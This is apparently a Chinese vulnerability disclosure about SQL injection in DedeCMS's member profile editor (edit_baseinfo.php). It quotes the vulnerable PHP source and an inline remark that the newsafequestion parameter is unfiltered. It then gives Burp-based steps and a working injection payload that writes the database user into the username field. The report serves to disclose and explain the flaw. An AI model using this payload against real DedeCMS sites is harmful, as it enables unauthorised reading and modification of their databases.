Dedecms 会员中心注入漏洞2

漏洞作者: Matt

[php]

member/edit_baseinfo.php
require_once(dirname(__FILE__)."/config.php");
CheckRank(0,0);
$menutype = 'config';
if(!isset($dopost)) $dopost = '';

$pwd2=(empty($pwd2))? "" : $pwd2;
$row=$dsql->GetOne("SELECT  * FROM `#@__member` WHERE mid='".$cfg_ml->M_ID."'");
$face = $row['face'];
if($dopost=='save')
{
    $svali = GetCkVdValue();

    if(strtolower($vdcode) != $svali || $svali=='')
    {
        ReSETVdValue();
        ShowMsg('验证码错误!','-1');
        exit();
    }
    if(!is_array($row) || $row['pwd'] != md5($oldpwd))
    {
        ShowMsg('你输入的旧密码错误或没填写,不允许修改资料!','-1');
        exit();
    }
    if($userpwd != $userpwdok)
    {
        ShowMsg('你两次输入的新密码不一致!','-1');
        exit();
    }
    if($userpwd=='')
    {
        $pwd = $row['pwd'];
    }
    else
    {
        $pwd = md5($userpwd);
        $pwd2 = substr(md5($userpwd),5,20);
    }
    $addupquery = '';

    #api{{
    if(defined('UC_API') && @include_once DEDEROOT.'/uc_client/client.php')
    {
        $emailnew = $email != $row['email'] ? $email : '';
        $ucresult = uc_user_edit($cfg_ml->M_LoginID, $oldpwd, $userpwd, $emailnew);        
    }
    #/aip}}

    //修改安全问题或Email
    if($email != $row['email'] || ($newsafequestion != 0 && $newsafeanswer != ''))
    {
        if($row['safequestion']!=0 && ($row['safequestion'] != $safequestion || $row['safeanswer'] != $safeanswer))
        {
            ShowMsg('你的旧安全问题及答案不正确,不能修改Email或安全问题!','-1');
            exit();
        }

        //修改Email
        if($email != $row['email'])
        {
            if(!CheckEmail($email))
            {
                ShowMsg('Email格式不正确!','-1');
                exit();
            }
            else
            {
                $addupquery .= ",email='$email'";
            }
        }

        //修改安全问题
        if($newsafequestion != 0 && $newsafeanswer != '')
        {
            if(strlen($newsafeanswer) > 30)
            {
                ShowMsg('你的新安全问题的答案太长了,请保持在30字节以内!','-1');
                exit();
            }
            else
            {
                $addupquery .= ",safequestion='$newsafequestion',safeanswer='$newsafeanswer'";//这里的newsafequest没过滤 我们直接update注入
            }
        }
    }

    //修改uname
    if($uname != $row['uname'])
    {
        $rs = CheckUserID($uname,'昵称或公司名称',FALSE);
        if($rs!='ok')
        {
            ShowMsg($rs,'-1');
            exit();
        }
        $addupquery .= ",uname='$uname'";
    }

    //性别
    if( !in_array($sex, array('男','女','保密')) )
    {
        ShowMsg('请选择正常的性别!','-1');
        exit();    
    }

    $query1 = "UPDATE `#@__member` SET pwd='$pwd',sex='$sex'{$addupquery} where mid='".$cfg_ml->M_ID."' ";
	echo $query1;
    $dsql->ExecuteNoneQuery($query1);

[/php]

漏洞证明:

利用方法 注册用户并且登陆

完了打开http://127.0.0.1/dede/member/edit_baseinfo.php

然后随便写一下

输入验证码 打开BURP 抓包

点击提交

然后再BURP里修改newsafequestion 的值改成1',email=@`'`,uname=(select user()),email='sss

然后提交 之后再打开http://127.0.0.1/dede/member/edit_baseinfo.php

就可以看到自己的、用户名变成了注入之后的结果了

14155301ecefc6543322f66d64b37a2a1ade5673

141553119fbe73451f10f406f1ddbbced91140a8

 

 

发表评论